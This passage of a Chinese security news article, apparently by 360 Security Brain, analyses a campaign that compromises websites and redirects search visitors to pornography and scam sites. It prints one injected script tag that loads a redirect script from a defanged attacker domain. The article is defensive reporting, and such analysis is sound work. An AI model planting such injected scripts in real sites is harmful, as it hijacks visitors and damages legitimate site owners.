小心!被骗''蜘蛛''在线疯狂搞颜色,误点即刻掉入诈骗漩涡( 三 )


本文插图
如若没有获取到接口数据 , 则会访问db.db数据库 , 将jump中的代码插入网页中:
<script type=''text/javascript'' src=''hxxp://zjclasjsdknlnxsa.com/js/jump.js''></script>
jump.js内容如下:
小心!被骗&#039;&#039;蜘蛛&#039;&#039;在线疯狂搞颜色,误点即刻掉入诈骗漩涡
本文插图
上述代码的主要功能就是跳转到最终的色情网站:
小心!被骗&#039;&#039;蜘蛛&#039;&#039;在线疯狂搞颜色,误点即刻掉入诈骗漩涡
本文插图
【小心!被骗''蜘蛛''在线疯狂搞颜色,误点即刻掉入诈骗漩涡】
而当我们在某搜索引擎搜索受害网站关键词时 , 点击搜索的链接 , 打开的就是色情网址hxxps://2**sg.xyz/ , 虽然原网址完全是一个正规网站 。
小心!被骗&#039;&#039;蜘蛛&#039;&#039;在线疯狂搞颜色,误点即刻掉入诈骗漩涡
本文插图
(搜索网址为色情网站)
小心!被骗&#039;&#039;蜘蛛&#039;&#039;在线疯狂搞颜色,误点即刻掉入诈骗漩涡
本文插图
(受害网站原网址为正规网站)
黑灰产业链持续发酵 , 360安全大脑强势出击
经360安全大脑研判分析 , 此次是黑灰产业链的持续性攻击事件 , 黑客团伙使用专业的渗透技术对各类网站进行攻击并植入木马 , 非法获取服务器控制权 , 并在随意管控攻陷的肉鸡服务器的基础上 , 利用搜索引流扩散色情诈骗内容 , 影响正规网站正常业务运行 。
现阶段 , 黑客团伙攻击仍在持续 , 广大用户应格外警惕 , 避免遭受不必要的损失 。 对此 , 360安全大脑给出如下安全建议:
1、尽快前往weishi.360.cn , 下载安装360安全卫士 , 有效拦截各类病毒木马攻击 , 保护电脑隐私及财产安全;
2、注重服务器安全管理 , 规范安全等级保护工作 , 及时更新漏洞补丁;
3、建立网站安全策略 , 防止攻击发生时危害进一步扩大 。
小心!被骗&#039;&#039;蜘蛛&#039;&#039;在线疯狂搞颜色,误点即刻掉入诈骗漩涡
本文插图


推荐阅读